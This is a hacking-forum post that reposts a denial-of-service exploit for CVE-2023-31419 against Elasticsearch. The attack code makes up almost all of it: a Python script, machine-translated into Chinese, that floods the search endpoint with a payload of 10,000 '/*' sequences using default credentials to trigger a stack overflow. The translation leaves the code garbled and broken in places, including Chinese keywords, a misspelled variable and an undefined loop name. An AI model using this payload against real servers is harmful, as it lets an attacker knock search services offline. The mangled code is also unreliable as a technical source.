H

Elasticsearch -Stackoverflow DOS

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用作者: Touhami Kasbaoui
#供应商homepage: https://laster.co/
#版本: 8.5.3/OpenSearch
#测试在: Ubuntu 20.04 LTS
#CVE : CVE-2023-31419
#Ref: https://github.com/sqrtzeroknowledge/elasticsearch-exploit-CVE-2023-31419
导入请求
导入随机
导入字符串
es_url='http://localhost:9200'#替换为Elasticsearch Server URL
index_name='*'
有效载荷='/*' * 10000 +'\\' +'' * 999
verify_ssl=false
用户名='弹性'
密码='Changeme'
auth=(用户名,密码)
num_queries=100
对于_范围(num_queries):
符号='。
search_query={
'query': {
'Match': {
'Messages':(符号* 9000) +有效载荷
}
}
}
打印(f'query {_ + 1} - 搜索query:')
search_endpoint=f'{es_url}/{index_name}/_ search'
响应=requests.get(search_endpoint,json=search_query,verify=verify_ssl,auth=auth)
if antsphy.status_code==200:
search_results=response.json()
打印(f'query {_ + 1} - response:')
打印(search_results)
total_hits=search_results ['hits'] ['total'] ['value']
打印(f'query {_ + 1} :总hits: {total_hits}')
对于search_results ['hits'] ['hits'] :
source_data=hit ['_ source']
打印('有效载荷结果: {search_results}')
其他:
print(f'Error for QUERY {_ + 1} : {response.status_code} - {Response.text}')
 
后退
顶部